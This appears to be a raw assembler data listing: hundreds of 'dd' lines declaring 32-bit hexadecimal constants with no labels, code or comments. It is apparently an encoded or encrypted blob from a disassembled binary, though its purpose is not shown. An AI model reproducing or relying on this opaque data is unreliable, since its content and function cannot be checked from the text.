dd 60F2845Bh, 9FE673E9h, 0D2000729h, 100B7871h, 9216748Ah
dd 0BADB8466h, 0ED8886F7h, 6AE5D769h, 49FB5FBEh, 0CC8DE9ACh
dd 1A062BDDh, 469DDCDh, 0FB0B69E6h, 12E4EA4Eh, 0CB202651h
dd 0E1C30D86h, 3E348938h, 0B0BAC4B0h, 256F00F2h, 0F7815193h
dd 7C727397h, 8994E927h, 25247E27h, 7DE60F50h, 8926B717h
dd 13EF9641h, 0B06E8E5Fh, 7C1C4575h, 0FD5A01E2h, 5F0805E8h
dd 2DC0F9B2h, 661C5E2Fh, 7BEDF097h, 91F4B33h, 40564231h
dd 0DC60FCC2h, 0BA0F62BCh, 0EB955807h, 0B04B92CBh, 0C14FFDE6h
dd 0E4616CC9h, 58516B61h, 0F66B4C6Ch, 92A4672Eh, 0FA0907B2h
dd 580881B8h, 34AFA63Ah, 40E23F91h, 7B9B9C19h, 409540DAh
dd 10606A15h, 7665DDC8h, 6AC99E3Ch, 0C8E9C179h, 0E3858143h
dd 248F1840h, 0CBC9907Fh, 72266B1Bh, 1A024966h, 0D7D17408h
dd 0A3F1E0C8h, 7A4C3B72h, 262504AEh, 0C0C03288h, 4AB154CEh
dd 5EF0E862h, 0ABF41AF8h, 76F09B74h, 0CAD44F36h, 851C2327h
dd 74DDDEE9h, 79A2EFA3h, 14E95E50h, 0D2545506h, 3FB5D3B7h
dd 5FDE3537h, 0D2C989A2h, 1AD2976Eh, 0B55ADB98h, 3B892FF2h
dd 62E45942h, 1C97C220h, 2F6ADE68h, 0CB2139FDh, 552B4E6Ah
dd 0F29A41E4h, 3DEB93F7h, 0E9930881h, 4840B825h, 3D07F757h
dd 85930F3Fh, 6BF8E296h, 2E95ECF6h, 972339E9h, 7489AA58h
dd 0C4948A2Bh, 7AF831E9h, 8506E84Eh, 85BFFE5Ah, 86A206ECh
dd 0C3F4185Ch, 0B0D706A2h, 0ECE8002h, 5E6C07Bh, 30BCEEC1h
dd 0E98785F0h, 0E4D25563h, 4C61DD6Fh, 0AF123E40h, 753D7400h
dd 5C317F84h, 76252BC8h, 0D062B2D6h, 41227DD2h, 0B8003538h
dd 50CE18DCh, 32CC933Ch, 14201578h, 0ED032E44h, 383C71AEh
dd 51289C8Bh, 316B04B7h, 0B351F414h, 0A76A7E35h, 0B0872ABEh
dd 9811C20h, 0F84E85BBh, 0A7025D76h, 77BA9CD6h, 43D80B9Ch
dd 4BEB6806h, 972F336Fh, 0F747D7E8h, 0A487DB3Fh, 60AF3655h
dd 0B1E540B8h, 3E6F005Fh, 0BB537836h, 0EB0E6C01h, 7FB0E92Eh
dd 2A032E32h, 4532D264h, 98F4182Ah, 5DD0F750h, 995F5F4h
dd 0B6C5173h, 0F046589Fh, 81682AC0h, 2F75A063h, 4DC23DE9h
dd 58C0595Fh, 57A0453Eh, 19002385h, 92C7816Dh, 90415510h
dd 87CF4801h, 0F92652CFh, 0D10512C6h, 492E68E2h, 2C5CCE46h
dd 0A259BF0Ah, 1490C308h, 0F5108D39h, 3B00732h, 34934424h
dd 5915FF9Eh, 4C9F8EBAh, 0AA051053h, 8CECC01Dh, 80ACCFEh
dd 9FC4802Eh, 29BB415h, 9D48EEBEh, 0F87CC02Dh, 71052D1Dh
dd 2954D3D6h, 8F1F43h, 6C7C3F6Fh, 5A385552h, 0E205FB5Dh
dd 2A677EF1h, 0C8D27A83h, 9D759F2h, 0D329F598h, 3F5BC6D5h
dd 51E0BAE9h, 4C0569C6h, 0D6294B25h, 7C0820F7h, 24C47E59h
dd 7A476D8h, 69BD0C83h, 0BBDAD780h, 0E5EA347Bh, 80A9445Ah
dd 89EFCF9Bh, 0A1934477h, 680085BDh, 169F471Dh, 355AC1F5h
dd 6F39E338h, 8076FA5h, 39762D3h, 4307BA26h, 0EB024CAFh
dd 50BCF6EAh, 1365DEB3h, 5C74AC6Bh, 0D131A5A7h, 8000F346h
dd 0F7E657EFh, 0B72C6E28h, 0F828231Dh, 0D1C15BBAh, 5B029A7Ah
dd 0CBF763FDh, 1C1992Ah, 0F1A3903Fh, 0C92EFEEDh, 8E13B253h
dd 2F4C20AAh, 89FE92D6h, 9D2EA97h, 0D15C786h, 3A109E20h
dd 0C4520C12h, 0D7018AABh, 806C5788h, 0C7723059h, 0D708F86Bh
dd 23A5CC5h, 0E90D9468h, 5EAD4810h, 51E4BD5Fh, 2B76D7A9h
dd 72B74B94h, 0FEAA954Eh, 0C05F318Eh, 7A26B331h, 4D68760Ah
dd 10CEF75Eh, 527CC380h, 49904D74h, 0D6495462h, 84795D5Ah
dd 84222DE3h, 0A465EDABh, 1867DFAAh, 0C1BA5658h, 16C44C28h
dd 0BEEE4E75h, 60058E52h, 0DCEFCF70h, 68125FE5h, 0FF60EDCh
dd 582C8388h, 0B269E958h, 7A5958BBh, 91641C50h, 12320079h
dd 0A82D0A0Fh, 720D7D12h, 74133ECh, 56A00528h, 2A3CCCBEh
dd 0CC46B1F1h, 0AC87A37h, 0E9CE0B31h, 0A2E6BA01h, 5E5C1D25h
dd 6B740C5h, 0C990052Fh, 24D4E40h, 6EAAF581h, 0DF806089h
dd 7B15123Eh, 0CFAFE912h, 0B1074A3h, 47B90279h, 616BAB24h
dd 50004902h, 0E026568h, 40581314h, 0FAFA7D48h, 1B243531h
dd 4570C189h, 0BADA4A7Eh, 0C2F51921h, 6FE76800h, 0D552B6B4h
dd 0E9050DD1h, 16F4D01Eh, 0A8DE4BA1h, 618C9F46h, 0B5754BFAh
dd 50E96F1Bh, 8B236D35h, 81BE9857h, 617014C9h, 0C1008933h
dd 7FAF6FDCh, 669A5FE9h, 897C7EBFh, 0B1E2E868h, 4D7D3BA9h
dd 0AC6E13D1h, 875848AEh, 7F0429BCh, 547CE780h, 88FB6247h
dd 0CEE98DC9h, 0EAC06E5Eh, 4A489407h, 3B9AB184h, 0C5C074B8h
dd 1FFB3EF7h, 8038882h, 59CD2902h, 4A66525Ah, 0D31EBA66h
dd 0D18BD766h, 0CBC05DE7h, 38712F2Ch, 0D80BA9B0h, 0F5AE747Bh
dd 5C0AEF64h, 7609B768h, 1668B16Bh, 5198C2Ah, 990CF109h
dd 0DC6F0466h, 0BA623E89h, 0A4227F24h, 6AFDD28Ah, 10D804D0h
dd 85C4540Eh, 58ABD4Ah, 662E394Ch, 0C6B06201h, 136E99D1h
dd 0B1D2E869h, 743BACFBh, 45C000E7h, 171992Fh, 0BB042B5h
dd 0E46C0308h, 0F2FE8557h, 0ADAEB440h, 9A2F7508h, 0F0ADB18Ch
dd 17D2B33Eh, 51095E54h, 97A6C563h, 0BED4800Ch, 51059858h
dd 0C022E95Fh, 7B77D8FEh, 5466F8B4h, 97E93119h, 6B3C337Dh
dd 4CA313BCh, 4EBE2102h, 57225738h, 0EF092A81h, 612D305Dh
dd 77C0404h, 8EC7F729h, 17BC53BAh, 27FEA6D2h, 8116FC1Fh
dd 171DCD7Dh, 110D70E7h, 40E29BACh, 4B30C659h, 0A8D3F084h
dd 0DC25D51Dh, 408BCA80h, 4AE93783h, 8798079Bh, 0F7D321FAh
dd 5AA87BDBh, 1741242Fh, 7AC17E5Dh, 6D3AA676h, 30B16BBBh
dd 93E8B73Fh, 4AACE88h, 0D1416730h, 108EBDE6h, 513B5A1Fh
dd 0A6299417h, 0D27078FDh, 0C912F9BFh, 63CAAC83h, 0B338C8A4h
dd 0EB9A68B4h, 25CAD732h, 0E4972F8Eh, 6C3AF70Ah, 0EB08242Ch
dd 0A13FFA02h, 2ACA771Dh, 0BCD7080Bh, 0E9FFC29Eh, 715F95CAh
dd 0DA445h, 2C9D2D1Bh, 0E8AA42E9h, 7AB3A975h, 0F681000Ah
dd 0E47EE6A2h, 0DB92D0E9h, 2C7FB001h, 51220CC8h, 0BC9F9660h
dd 0E6880ED0h, 595AF347h, 8B2EC5FFh, 0D9A919E9h, 0EA03D155h
dd 0A4BC08ECh, 0B819C62Ch, 0C7D8CD06h, 0FA301409h, 5212BB5Bh
dd 665FF0Eh, 0D91329FAh, 0DCE91002h, 0C455C028h, 0E78853ACh
dd 5B4AF9E4h, 302D9DACh, 0CE3F9966h, 0EE90C20h, 240918B1h
dd 2A5A0FC9h, 36D29F4Ch, 0DA59E92Ah, 4F7B5495h, 58288A28h
dd 5E2D4378h, 680DB8A5h, 9D176380h, 15119A1Fh, 407B798Fh
dd 0D25CF60Dh, 0C4BB2F72h, 6EBFFE71h, 0C57F10B9h, 0FE5FB3C7h
dd 0C0B0E895h, 0A74A2DDAh
dd 7A016D6h, 0E4A38495h, 41C2C01h, 2FD44FCFh, 0E7E9C31Ah
dd 25CF3C66h, 325BCA31h, 166BE42h, 6F6DC380h, 12D66EECh
dd 0F9CBB8Bh, 15828814h, 249E72B2h, 1A7A8C2h, 0C22EE268h
dd 7AA75C57h, 0DF49697Eh, 6342D4B2h, 5A00E63h, 6083783Ch
dd 28732604h, 314E65C8h, 0E9C23DF2h, 0EED6D4B6h, 0D5F70284h
dd 2D506AC0h, 1A40B7F2h, 0D35528Ch, 95E86268h, 0BDED5B8Ch
dd 7D6FCB0Ch, 0FC052C76h, 0C7BD9036h, 830A777Ch, 0CEF04671h
dd 8A4807FAh, 0B90D1014h, 1012B84Bh, 29149457h, 0DD26F0FDh
dd 43522D06h, 0D9E9F7C5h, 0EF0D16AAh, 0BDD3E5CAh, 6D0A203Fh
dd 20E3D84Dh, 0DB17C82Ch, 3BB1F626h, 0E9DDCC7Fh, 89A5CC2Eh
dd 2E92CF81h, 5430560Dh, 0B64E1F01h, 85EF1F1Dh, 0AD526A5Fh
dd 22538332h, 0C4FB8C14h, 2195C737h, 0A662920Ah, 820A3E8h
dd 0DB4E6C98h, 5A59E183h, 0E21FF8F8h, 1ED02E5h, 85F07DE6h
dd 54F88927h, 5AAE58C4h, 60859C83h, 0EE935FFDh, 0E909CD9Eh
dd 0EFD17B56h, 7CBA888h, 0A05A93BAh, 2A0B682Eh, 4AEF9297h
dd 0E2D8C0A5h, 924E13DEh, 2963BC1Fh, 0ED04D3D1h, 50E09B7Eh
dd 0A84D4FEBh, 0E92BA44Bh, 1E57BA5Eh, 0FD5C0BB8h, 1F2BAD0Ch
dd 0CADDD186h, 0D917D0DEh, 0C2859813h, 0ADA774FAh, 0EB8101B7h
dd 769B0868h, 6276012Fh, 61E92B25h, 0B3228726h, 1C305377h
dd 398041B6h, 0CE9D0DE6h, 0B7EE8F81h, 186DC626h, 8E125067h
dd 7D5BDE02h, 0CE7EF88Ch, 28C7FF90h, 0EB2869h, 7DB05022h
dd 375B9588h, 8FB75300h, 0E65ECF80h, 0E99009E7h, 4320FCF3h
dd 0FA2546E1h, 0A40C1B60h, 13144830h, 0EA5C93E9h, 587D6A28h
dd 25C0DB18h, 69701FBCh, 0A7574026h, 59D55D13h, 0A9102C0Eh
dd 0FAC902E1h, 0D2BA0331h, 0BE1A2E0Eh, 380C25B8h, 0C97B6EBh
dd 4942B0E9h, 89CBDEC6h, 9766DD63h, 3F0A3620h, 2C98C189h
dd 0D6291EA0h, 7E97F2F2h, 0F2FBA508h, 515453E2h, 90E96194h
dd 8B527AAEh, 97055DB0h, 695A6727h, 2D42A4F7h, 294CD1FBh
dd 8FB835D8h, 0E65BBB7Ah, 274E5A4Dh, 4DC8B222h, 0D9832699h
dd 87398732h, 1019B7D7h, 0ED4EBAC9h, 5918011h, 922942ABh
dd 8908804Fh, 5D3B8CAh, 1D9978F2h, 103AACAFh, 470B6EFBh
dd 1AF74068h, 6F768075h, 172B014Ch, 10F25BBAh, 0E21E9947h
dd 0A0235736h, 3F9437ABh, 7AC9A623h, 6DD72014h, 0E7C15F17h
dd 0FEEF8207h, 5D60697Eh, 0B6EA0420h, 765AAE59h, 5EFFD081h
dd 0CB73282Fh, 0A6A8594Ah, 4FF382B4h, 0B793B400h, 0E73024C6h
dd 0F802CF7Ch, 0F0DD12E9h, 22B12D8Dh, 14C9745Eh, 0AC469571h
dd 0FB247C5Eh, 0A0977FFCh, 0C390F61Dh, 0C56A30E9h, 0C705A492h
dd 49F93515h, 0BF15E4BBh, 0CC1A60E2h, 0C022471Eh, 252D73Ah
dd 700CBB53h, 45E02A83h, 81034B05h, 6227C2E3h, 8AF3B037h
dd 79C82F48h, 0C78FEB5Eh, 113A66BDh, 45DB0B0Ch, 1D004A70h
dd 54C6557Fh, 5881DB98h, 0BBD424DFh, 2C30230Ch, 2C3F606Ch
dd 25AF9421h, 7CBD57D8h, 25DDE8C2h, 9475030Bh, 0F9012DB6h
dd 7DC225FCh, 4169EAD9h, 0F76CB5BFh, 513EBE00h, 0DEF75705h
dd 0DFCF6BDh, 6E477A5Ah, 6411A2C0h, 0C2369F8h, 9C42D15Eh
dd 0CC800105h, 75B340A6h, 0F8F1C9FEh, 59F62871h, 0DEE4C02Eh
dd 27FABB08h, 0C54F05D9h, 0EBA39FB3h, 2528ADD7h, 5359C018h
dd 0E1154BE9h, 0B0CE2A17h, 488D8A4Eh, 54A58EBh, 0E5D1521Ch
dd 97644EC0h, 29B525FEh, 40916A77h, 814ADE8Bh, 2F7AE968h
dd 0B45978B6h, 0D4E1E984h, 6529FB63h, 6BC1D16Ah, 3FA406BCh
dd 25B147B1h, 0C74C312Eh, 352099DFh, 7A8D40D4h, 608E1CC1h
dd 1882165Ah, 0CDE62438h, 2AFA8B61h, 0D31F7B81h, 7FC14602h
dd 0D870E405h, 5CA788DDh, 1B84BD01h, 0FE7C445Fh, 3807E610h
dd 2CB0B5E9h, 7B96F2EEh, 16DE187Dh, 4044157Bh, 0B0EF3EA6h
dd 87BEE57Eh, 9B1B2D08h, 0BC055193h, 4412B0E7h, 0A3359781h
dd 5846B900h, 123F4C3Dh, 0A0A8E0D4h, 0CD549EC1h, 6008407Bh
dd 2D4CEC08h, 0BA6425E0h, 0AD545717h, 1AE3898Ch, 0E60F00E1h
dd 6BC22573h, 2D1F5775h, 63400431h, 68467F05h, 42E9132Fh
dd 0FDDE912h, 93412C3Fh, 0E96F9BF1h, 0FC50275Dh, 80C5EF81h
dd 0C0ADE8D6h, 454B3EBDh, 119F101h, 51295D0Ch, 3DEDFBF6h
dd 8BB3D338h, 4D9268C2h, 0DD2724D3h, 0B4D55AB2h, 2A25D4C6h
dd 0E6D9F00h, 0E617BE72h, 81A04E00h, 0BD66C1EEh, 0A034946Ch
dd 30E91308h, 0DAFED0D8h, 0D09DD23Ch, 71C85803h, 2FDCF14Ah
dd 138CF588h, 0EE735C37h, 3E2A0A01h, 0AD2C101Bh, 0EFE40B7Fh
dd 4D3D901h, 48682C09h, 25B9154Eh, 0B15EDD66h, 0F309F33Ch
dd 0EA698722h, 1C080C03h, 1D27034Ch, 9246E933h, 30E1844Eh
dd 0EA8B122Fh, 0EF8D8D5h, 0D4D3EEB5h, 0BA852Bh, 0FF2AA811h
dd 0C64E2917h, 59E9B861h, 0AD36073Eh, 363B7355h, 0E9800E5Fh
dd 2894118Ch, 0AB04912h, 60E41E59h, 0FDF22787h, 0EA9FE798h
dd 0B9B24309h, 0FC2BD2EAh, 510492FDh, 1012A64Ch, 102CAAAh
dd 5F95ED1h, 0CDD0AADFh, 230B352Ch, 0FD959ACBh, 6C6F6500h
dd 5D137AC2h, 0FFB4D3E9h, 66E7A0D6h, 58B53E15h, 3E0234A7h
dd 0D352EF88h, 5800E34Bh, 554561BBh, 0BF07F41Dh, 9A83C9F4h
dd 0DA6DFA7Ch, 0FB6F6AD6h, 0AB300888h, 8CB2012Dh, 0D7208603h
dd 5F9203E2h, 0E4E93C25h, 57BFDD02h, 0F635A73Fh, 0E7D102E8h
dd 0A4805255h, 573D0CB2h, 9A984950h, 66A4417h, 420E4FEEh
dd 0C59F7F85h, 0FC8F2D7Fh, 0D873F792h, 228014BCh, 89F6D402h
dd 185A5AD5h, 3F6966D1h, 41046012h, 966065ECh, 842DF3BAh
dd 0FE311F2Dh, 49C358D8h, 7E623499h, 4B03F489h, 848B3F5Eh
dd 806C9292h, 57397252h, 36597E7Fh, 0FC32B1BDh, 0BCE6077Fh
dd 44431D1Fh, 0D2510F8Bh, 82182090h, 6216F2B0h, 0DDF8B240h
dd 0FC64BD25h, 631C6812h, 4D010EA3h, 0D1136205h, 71A83CEBh
dd 56844B60h, 13F64EFDh, 0BAF1C7E9h, 215A1821h, 4523E46Eh
dd 488A202Dh, 8080306Ch, 691790B8h, 39163EB0h, 6F011335h
dd 629F7184h, 15511974h, 49486EE9h, 50BC444Bh, 42BB0FDDh
dd 63A8552Eh, 50F9E202h, 0EB03B558h, 26148E53h, 4E81F387h
dd 0B6FB49C4h, 818B1075h, 86D3F60Dh, 0B5E86F66h, 9C792DEh
dd 0C041F291h, 8B47D580h, 7728A906h, 8A893AC5h, 0DDAC9A43h
dd 7AB0E2A2h, 76350500h, 0ECFD5E60h, 70092F13h, 0FCED02A5h
dd 177896Fh, 4131F975h, 7A3F7A68h, 9578D4D9h, 2ECC5927h
dd 5A351060h, 9B16C668h, 7D130550h, 0C5458798h, 0C161EC40h
dd 27E70D0Bh, 0DF06DC2Bh, 5BE82000h, 9E768DBEh, 8168989Bh
dd 0C713ABCEh, 68D75DBAh, 12A1EA19h, 0ECB1F21Fh, 58F95049h
dd 7B781301h, 0DADCE947h, 0A2F2442Fh, 0D2E6AFAAh, 316B205Bh
dd 0F14C87C8h, 0DA387B3Bh, 3DFE4ACFh, 6B02D900h, 4F066568h
dd 9E29ADC4h, 9AE0FA97h, 2F8C904Ah, 0E55CCFF9h, 0BE12F72Fh
dd 0B751DB7Fh, 0EBD605B8h, 0BCB2BE77h, 0A5E77631h, 0A000C942h
dd 6EC610E8h, 71DDE91Bh, 4E80E3E3h, 59873140h, 0E9698456h
dd 0C8AEF34Bh, 2828292Eh, 0CAF1BB32h, 0CC57088Bh, 51014921h
dd 0C3605233h, 0FAA0C5Eh, 0ED44C946h, 0C5B2FEF5h, 489A2010h
dd 0AF6117F0h, 0D1C5B1FCh, 3CA1884Ch, 0DCDA2012h, 2D5D4B04h
dd 815A43BDh, 0E86BA94Bh, 0E92E502Bh, 0E1A59427h, 6FA4993Ah
dd 0C9B9D26h, 77346739h, 31A27B1Dh, 755ACB80h, 49E91F90h
dd 0AF4EF694h, 520E6601h
dd 846E7FEAh, 0F9CFAF2Bh, 4AC6AB4Dh, 4AA0F905h, 0C4B7D9CFh
dd 3B68176Dh, 1059E34Dh, 593F49A0h, 0E332F316h, 0F4EB2D19h
dd 27DEA79Eh, 62F56850h, 76DD7340h, 83E05D05h, 68560152h
dd 14D83C96h, 0A3143F5Eh, 1D130F82h, 0DB09D3CDh, 0A9E92F08h
dd 48CF305Ah, 69051344h, 0A4D9AE29h, 80E7BD6Ah, 4FAE744Ah
dd 0E4E37ED1h, 7F76165Fh, 0C282EA5Ah, 5AC7878h, 60372EB8h
dd 0FFB8C310h, 0FDBD035Ah, 5084C710h, 0FC488855h, 0C8E1101Eh
dd 0A1534627h, 0BC480900h, 0D0F767h, 2264F22Dh, 49E9401Ch
dd 5E33E29Dh, 1283C01Eh, 81841323h, 0BAF75B08h, 6CAFD702h
dd 0BBAA4077h, 7EB05992h, 0E40B0C90h, 0B448052h, 2C87F63Eh
dd 38AE047Fh, 0DCE0BE09h, 86D4CE04h, 84297E87h, 6BB8A198h
dd 0A58471A9h, 88590585h, 0F530C5C0h, 7980735Ah, 26EC7CC2h
dd 0E7FCE220h, 0B0C0E7FEh, 0A3B05005h, 53ECE8ECh, 0DD84B327h
dd 88CA7483h, 0D2C3EF25h, 0BB0CD79Fh, 72B1C250h, 7EACB04Ah
dd 400901B5h, 796CED4Fh, 0E04C8Eh, 2087085Ah, 820A1BE9h
dd 0EEA2055Fh, 0F24B3BECh, 0D0FF9737h, 0E65CB19Bh, 266B3A58h
dd 0DA538511h, 25A7F442h, 20D596DFh, 0BC9889EFh, 0EF85D1A3h
dd 459F1DD1h, 0C74AB63Eh, 4FCAC4E9h, 506CFCADh, 45C69B68h
dd 48155CE9h, 0B3261253h, 0A8C68074h, 5A74EA5Dh, 6FCE012Ch
dd 0F7AFB218h, 47B716A7h, 0BF2F17EEh, 0FA29D144h, 427D86EAh
dd 70557E97h, 63C07D9Bh, 7002EDC2h, 5A33F63Fh, 6A80CC4Ch
dd 0DEFF8D38h, 5FB638EAh, 764E1798h, 305094CBh, 0B39BB7C5h
dd 99622E17h, 0EB9236B3h, 0DF5B0D62h, 688591E7h, 1C5219FAh
dd 0D8DB106h, 60709512h, 64F2EB34h, 0F692D5A3h, 0CE7D86DBh
dd 0F6D74BFFh, 0BE5610C1h, 0E7DC298Bh, 5779B051h, 0A841004Bh
dd 5B5A4B59h, 5A374C95h, 9B4C4E1h, 6C5F872Ch, 1596902Fh
dd 0AA2A5668h, 0E605781h, 403C212Bh, 0F19FA4EEh, 34E9D40Bh
dd 0A4CE6DE1h, 8A203F5Dh, 75BC2DA0h, 0EF73CB9Fh, 0CDBB2424h
dd 3AB6E50Bh, 0D2EBFA4Bh, 0B679B7ADh, 26666804h, 772931AAh
dd 5F4A397Ch, 0C6B8AF9h, 0DF9612FFh, 52D2B20Ah, 0C62F735Eh
dd 9D868C03h, 0EFA052F6h, 0A0535925h, 183F4F0Bh, 560D021Bh
dd 95241308h, 26B88257h, 0E0B275CFh, 0FE86F884h, 4D7BEAA6h
dd 0AD4AADADh, 9B68E366h, 1D49133Eh, 2D56B381h, 5CB0DF74h
dd 12C13DBEh, 6E186858h, 40F69258h, 351D66EBh, 112C3BAh
dd 0FA7D17EBh, 0E85A1EDFh, 47B67370h, 0B892AABCh, 9EF7F13Bh
dd 37D61063h, 97338FE0h, 0A8E1D09Bh, 0C32F817Bh, 3E8226EBh
dd 31E10C82h, 0E8757507h, 4C2EF4E7h, 0DA16CCA2h, 395AC9C8h
dd 15AB4A06h, 18986764h, 0EE586F32h, 0E9177633h, 334255CEh
dd 751204E8h, 0E4C886F1h, 0E314FF02h, 1EA7F743h, 6E03203h
dd 4B4A641h, 2D6D82EAh, 0A22865F5h, 0CA575AADh, 116809EDh
dd 98165536h, 94EC294Fh, 0BC2FE985h, 528A4A5Eh, 0AF73C5D6h
dd 0D14E4E8Fh, 69A820Dh, 6243F0F1h, 5AD36388h, 0EAC319C9h
dd 6F10ECDAh, 81011D57h, 164897E6h, 33EED852h, 2E022818h
dd 400B8318h, 3D0BF6DEh, 57252756h, 2A95108h, 0DF696A93h
dd 890445F6h, 73A25FFEh, 13708858h, 0BF62675Ch, 6AE83D2Dh
dd 0E9180999h, 0D59A8ADCh, 0C67B04D5h, 0EFA235FAh, 0AF85DCDh
dd 0F8CABDAFh, 192DF343h, 9987C5Ch, 28A3285Bh, 0FBB425B2h
dd 728A224Fh, 0A3FF1A2h, 69DB31CBh, 0D6B402FBh, 254A1049h
dd 51452253h, 47F11B77h, 9A8C7B88h, 560E4036h, 52BA6805h
dd 69834D79h, 0E3FF852Bh, 69EA9721h, 642B0125h, 4C327F14h
dd 0DB4C7758h, 0BD10E916h, 8082E0F3h, 17614EEEh, 4840014Fh
dd 97382CDCh, 0A4C50518h, 0CD06D292h, 79A7481Eh, 0D30B2558h
dd 292DD346h, 8B645943h, 6A647B8Eh, 2FEF649Fh, 94C67A96h
dd 0AA20A190h, 5562955Ch, 1ABE92FCh, 8644FD09h, 180707C1h
dd 16938C05h, 0B295C301h, 61945F7Fh, 460E6813h, 4C727761h
dd 5F5F5453h, 811D853Dh, 8995DC8Ah, 0D459CB5Fh, 0FE686225h
dd 28CCFFh, 664A28AFh, 5158C309h, 25E9B901h, 0CB31225Dh
dd 99735760h, 86BB400Eh, 0DD4A8243h, 417E7EF8h, 0AA8D416Ch
dd 0D7A2588Ah, 0ED206997h, 48C6DA82h, 0D2E2CD01h, 2F1C080Ch
dd 0ACC5619h, 0C88B5939h, 0BC5EBFB5h, 7FA168E1h, 1C718C2Ah
dd 0F1F2714Eh, 4B41E9C2h, 0F493E176h, 45B913C1h, 9826CCE0h
dd 0BDCA4BA7h, 5E81D073h, 2D257CF9h, 0E99EE1F6h, 8DAAB556h
dd 368D4D0h, 0E0914479h, 0E955053Fh, 0CAD8BC35h, 0DEF6048Dh
dd 0FF9ECE80h, 0B2A48E9Ch, 9E5451EEh, 0EA05C9C9h, 71CB6C1Fh
dd 0A762DBD2h, 0F30577FAh, 34FD77B2h, 7B73F000h, 4E56BE05h
dd 6C78B153h, 0D15F2F64h, 0E5963DB2h, 0C1E7A9A5h, 0B7253935h
dd 6FA1A07Ah, 5F4C4F7Eh, 0EF430592h, 85AEF002h, 40D0FE9Dh
dd 1219B445h, 0BFC589FEh, 97CA708Ch, 33E66948h, 73682318h
dd 1F3C3A0Ch, 16C1714Eh, 1306BD04h, 95345831h, 0BB86B104h
dd 17B45290h, 5E5526ACh, 441101B0h, 3F3121C8h, 0C1C4B4B0h
dd 78FFBE3Bh, 0E3423030h, 0C025B29Eh, 955F43ADh, 0D0799499h
dd 0C1266931h, 0A3098CE7h, 9392FC7Ah, 9A32B640h, 1C5F50Ch
dd 904D38B2h, 2C76BC31h, 244067C4h, 0DBDBA5DCh, 11899748h
dd 0F6B27D2Bh, 897C3284h, 0F4D21900h, 1ACB1EA6h, 80C6FE4Dh
dd 68202CF5h, 0E8EF455Fh, 3627AA8Ah, 95F95229h, 2C28745Ch
dd 467F802Dh, 7CA3951Bh, 0A1077499h, 7706E7C5h, 17E84CFCh
dd 0F5177F56h, 80583h, 0E321128Eh, 0EB2AE970h, 2A2DD8A6h
dd 691AD104h, 2DEE9657h, 78E684DAh, 2AC09D4Bh, 214FBFh
dd 0E7D164B8h, 429AF781h, 5CC97025h, 0B1D209F1h, 22C3AB1Bh
dd 4E0390FCh, 1E584952h, 0D4C30E0h, 0C05EF389h, 84040CBCh
dd 0DD26297Fh, 8E126E57h, 5BE86DF4h, 19BBF350h, 0D8AF47A5h
dd 0DE940E1h, 5DCAB661h, 0AB5074F4h, 25D19D76h, 4252AFBCh
dd 68C57CEFh, 0FCE082Eh, 2AFE310Ch, 510B77Ch, 4A1A96CAh
dd 4110041Fh, 0FC23C35Ch, 423F078Fh, 22D6CB9Ah, 5110255h
dd 0E1A00FA8h, 774C2EA5h, 0F4C760C9h, 0F5054F28h, 0D634FCAFh
dd 3E31DD20h, 0B04C4F20h, 0F9B58824h, 0E15D95D0h, 0C0030902h
dd 91525801h, 9754A637h, 320A7EFFh, 0EAAFC61Fh, 96637514h
dd 23D13E5Fh, 852BD0E9h, 5AB6BEA1h, 685C8C5Ah, 0B26A5A2Dh
dd 0A80877B6h, 0B42D819Fh, 3E3BFA27h, 7040784h, 0BBD7BEE9h
dd 70C4F4A9h, 0F20E9D0h, 0BA78B537h, 2D3D8849h, 5A86995Bh
dd 6828BF2Bh, 0D805541Fh, 4A8AB0DBh, 0C45CA8D0h, 0AC12C554h
dd 835212B2h, 0A0FF000Ah, 4420F205h, 803DD0ABh, 3F084E2Fh
dd 1CB993E9h, 277644Fh, 2A307317h, 5F25E25Ch, 50C054CCh
dd 0DA6D67BDh, 0E5810241h, 54D7602Dh, 6FE4F661h, 4B9E10F8h
dd 47F6A8B0h, 38C27F72h, 0E058265Eh, 49872D07h, 22CF0707h
dd 35C1FE50h, 1F141C7h, 88C13E13h, 0BA009CA9h, 0B33E5D5Eh
dd 3BDA3E38h, 0C4B8CBB1h, 588A1F1h, 0FA4CB0h, 2D4F0D62h
dd 154357D2h, 910605BDh, 407BCEFCh, 324BFFAEh, 68C240FEh
dd 40FA0B2Eh, 47FC6CAEh, 0BB605E94h, 0C9D41B9h, 84F0E971h
dd 0D1164B40h, 9E0143EBh, 1DBEE0A3h, 2A300B31h, 83540F8h
dd 208088CFh, 0B6525015h, 0D6F62C44h, 4A183DE1h, 0F22D4A83h
dd 0FDD1D209h, 80810889h, 0E0F26327h, 2823EA6Ah, 5B960928h
dd 0E0EE4E96h, 40C219FCh
dd 4C779220h, 855ACB5Fh, 0F3FF74E5h, 0D0B4E9E9h, 289561B5h
dd 712C085Dh, 80ED5312h, 0D0315F09h, 625F6444h, 0FE8407E2h
dd 5444F48Fh, 691D3113h, 0C0510982h, 25F95ABCh, 0B4D03699h
dd 0CA1A683Ch, 0A1D8AB31h, 23CC6A78h, 66FC47C5h, 0B6204194h
dd 0B5451C0Fh, 0CE276464h, 0D26B31D7h, 0A4802C02h, 0BC50C44Eh
dd 0ACCB9F07h, 1E2F296h, 405B53C5h, 61F50173h, 5E080154h
dd 49613057h, 6807E094h, 77091B87h, 0FE96377Bh, 0DFFA5A52h
dd 9EF94FEBh, 8D7C75C4h, 0EC6FE0B3h, 646EE6F1h, 6358C6F8h
dd 0F135C070h, 0B5E11F5Fh, 2B775F8h, 72A1A5Eh, 3F5A9752h
dd 9959972Fh, 35A57BC1h, 17E4AD3Eh, 1BDC59Ch, 989C31CFh
dd 0D5F708CDh, 0B920C983h, 0DAE34982h, 0E177320Eh, 5FFC06DFh
dd 75A2BD23h, 61F4860Fh, 842FCAE8h, 8182B57Fh, 3ECE78E2h
dd 0DFE2EA88h, 0D7F906F0h, 4A987725h, 119D01E4h, 5AD0081Eh
dd 0F83D4A6Fh, 89BFD639h, 47AF429Bh, 4834D455h, 13C14A10h
dd 17AAE97Dh, 0DFF435ABh, 21161C41h, 4BEF9F19h, 606E08A4h
dd 0A650F197h, 16570203h, 0B5C035F4h, 583B6BDBh, 32EA000Dh
dd 0E9E1E007h, 91994BBBh, 62B59059h, 5BCB9EBFh, 940667Ah
dd 6A2F4E64h, 94A996F7h, 6012A0AEh, 0E9083429h, 64B23AB2h
dd 8B7DE10Bh, 8CC15D0Eh, 0F09283F2h, 5334D38h, 8775C60Ch
dd 0F0A4874Bh, 7BB0287Ch, 4E271B7h, 0E3352268h, 2DF5100Ch
